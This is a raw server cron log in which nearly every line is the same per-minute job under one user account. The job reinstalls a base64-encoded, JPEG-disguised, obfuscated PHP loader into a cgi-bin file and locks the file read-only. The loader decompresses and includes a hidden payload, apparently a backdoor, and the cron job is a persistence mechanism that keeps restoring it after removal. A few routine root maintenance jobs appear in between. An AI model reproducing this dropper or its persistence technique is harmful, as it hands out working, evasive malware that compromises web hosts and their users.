Nov 15 14:10:01 server CROND[21885]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:10:01 server CROND[21883]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 14:11:01 server CROND[22206]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:12:01 server CROND[22463]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:12:01 server CROND[22464]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 14:13:01 server CROND[22722]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:14:01 server CROND[23085]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:15:01 server CROND[23347]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:15:01 server CROND[23349]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 14:15:01 server CROND[23348]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 14:15:01 server CROND[23350]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 15 14:16:01 server CROND[23664]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:17:01 server CROND[23930]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:18:01 server CROND[24191]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:19:01 server CROND[24556]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:20:01 server CROND[24817]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 14:20:01 server CROND[24818]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 14:20:01 server CROND[24820]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 14:20:01 server CROND[24819]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 14:20:01 server CROND[24825]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:21:01 server CROND[25144]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:22:01 server CROND[25399]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
